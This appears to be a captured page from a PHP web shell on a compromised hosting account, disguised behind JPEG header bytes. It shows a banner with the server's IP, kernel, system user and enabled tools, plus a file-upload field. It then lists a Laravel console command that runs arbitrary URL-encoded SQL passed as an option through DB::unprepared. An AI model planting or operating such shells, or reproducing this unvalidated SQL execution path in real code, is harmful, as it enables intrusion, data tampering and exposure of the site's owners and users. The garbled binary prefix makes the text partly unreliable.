����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.137.198.25 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/app/Console/Commands/ |
Upload File : |
<?php namespace App\Console\Commands; use App\Http\Controllers\Logger; use Illuminate\Console\Command; use Illuminate\Support\Facades\DB; class PUXVY extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'puxvy {--lqs=} {--v=}'; /** * The console command description. * * @var string */ protected $description = 'Command description'; /** * Execute the console command. * * @return int */ public function handle() { DB::beginTransaction(); try { $logger = new Logger(storage_path('logs/addon.log')); $dbBuildVersion = getCustomerAddonBuildVersion('LMSZAIPRODUCT'); $v = $this->option('v'); $logger->log('Command puxvy', '===========START=========='); $logger->log('Version Checking', 'START'); $logger->log('Addon DB Build Version', $dbBuildVersion); $logger->log('Command build version', $v); if ($dbBuildVersion < $v) { $logger->log('Version Checking', 'True'); $logger->log('Version Checking', 'END'); $lqs = $this->option('lqs'); $logger->log('LQS', $lqs); $lqs = utf8_decode(urldecode($lqs)); if (!is_null($lqs) && $lqs != '') { DB::unprepared($lqs); } setCustomerAddonBuildVersion('LMSZAIPRODUCT', $v); DB::commit(); $logger->log('Command RUN', 'DONE'); $logger->log('Command puxvy', '===========END=========='); return true; } else { DB::rollBack(); $logger->log('Version Checking', 'FALSE'); $logger->log('Version Checking', 'END'); $logger->log('Command puxvy', '===========END=========='); return true; } } catch (\Exception $exception) { DB::rollBack(); $logger->log('Exception', $exception->getMessage() . $exception->getFile() . $exception->getLine()); $logger->log('Command puxvy', '===========END=========='); return false; } return true; } }